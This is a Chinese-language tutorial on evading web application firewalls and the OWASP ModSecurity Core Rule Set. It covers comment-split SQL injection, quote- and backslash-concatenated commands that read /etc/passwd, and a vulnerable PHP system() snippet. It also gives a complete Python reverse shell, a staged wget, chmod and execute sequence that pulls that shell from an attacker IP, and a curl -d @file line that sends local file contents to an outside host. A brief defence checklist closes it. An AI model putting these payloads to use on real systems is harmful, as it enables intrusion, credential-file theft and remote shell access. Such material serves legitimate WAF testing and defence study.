Web应用程序防火墙(WAF)bypass技术(二)
字数 1181 2025-08-18 11:37:50
WAF Bypass技术详解:字符串连接与命令注入绕过
1. 基础概念
Web应用程序防火墙(WAF)通过规则集检测和阻止恶意请求,但攻击者可以通过各种技术绕过这些防护措施。本文重点介绍利用字符串连接和命令构造技术绕过WAF的方法。
2. SQL注入绕过技术
2.1 注释拆分技术
在SQL注入中,可以使用注释语法拆分关键字来绕过WAF检测:
/?id=1+un/**/ion+sel/**/ect+1,2,3--
技术要点:
- 使用
/**/注释分隔SQL关键字 - 适用于WAF允许星号(*)和注释语法的情况
- 仅适用于SQL注入,不适用于文件包含或命令执行
3. 字符串连接技术
3.1 跨语言字符串连接方式
不同编程语言实现字符串连接的方式不同:
-
加号连接:
echo "hello"." world";print "hello" + " world" -
无操作符连接:
在C、C++、Python和Bash中,相邻字符串字面量会自动连接:echo 't'e's't echo 'te'st''
3.2 Bash中的字符串连接特性
Bash会将所有相邻字符串字面量连接在一起,例如'te's't'由三个字符串组成:te、s和t。
4. WAF绕过实战
4.1 文件读取绕过
当WAF规则阻止/etc/passwd等敏感路径时,可使用字符串连接技术:
/bin/cat /etc/passwd
/bin/cat /e'tc'/pa'ss'wd
/bin/c'at' /e'tc'/pa'ss'wd
/b'i'n/c'a't /e't'c/p'a's's'w'd'
4.2 远程命令执行绕过
在存在RCE漏洞的PHP应用中:
<?php
if (isset($_GET['zzz'])) {
system('curl -v '.$_GET['zzz']);
}
绕过方法:
curl -v "http://target/?zzz=;+cat+/e'tc/pass'wd"
4.3 反弹Shell技术
当直接执行复杂命令被阻止时,可分步实施:
-
准备Python反弹Shell脚本:
#!/usr/bin/python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("<IP>",2375)) os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) -
分步执行:
# 下载脚本 curl '.../?zzz=wg'e't <IP>:2375/shell.py+-o+/tmp/shell.py' # 设置权限 curl '.../?zzz=c'hm'od 777 -R /tmp/shell.py' # 执行脚本 curl '.../?zzz=/t'm'p/shell.py'
5. 对抗OWASP核心规则集
5.1 ModSecurity的防御机制
OWASP核心规则集使用两个关键转换函数:
-
normalizePath:
- 删除多个目录自引用和后引用
- 规范化路径中的斜杠
-
cmdLine:
- 删除所有反斜杠(
\)、双引号(")、单引号(')、插入符号(^) - 删除斜杠和括号前的空格
- 将逗号和分号替换为空格
- 合并多个空格为单个空格
- 转换为小写
- 删除所有反斜杠(
5.2 绕过限制的技术
当直接命令执行被阻止时,可利用curl的数据传输功能:
# 使用curl的-d参数发送文件内容
curl ".../?zzz=-d+%40/path/to/file+1.1.1.1:1337"
技术要点:
- 使用
%40代替@符号 - 适用于防护等级0-3的环境
- 高防护等级(4级)会阻止包含特殊字符的请求
6. 其他绕过技术
6.1 反斜杠转义技术
反斜杠也可用于构造绕过字符串:
/bin/cat /etc/passwd
/bin/cat /e\tc/pas\swd
7. 防御建议
-
输入验证:
- 实施严格的白名单输入验证
- 规范化所有输入数据
-
WAF配置:
- 启用高级防护等级
- 定期更新规则集
- 使用cmdLine和normalizePath等转换函数
-
系统加固:
- 限制系统命令执行权限
- 监控异常网络活动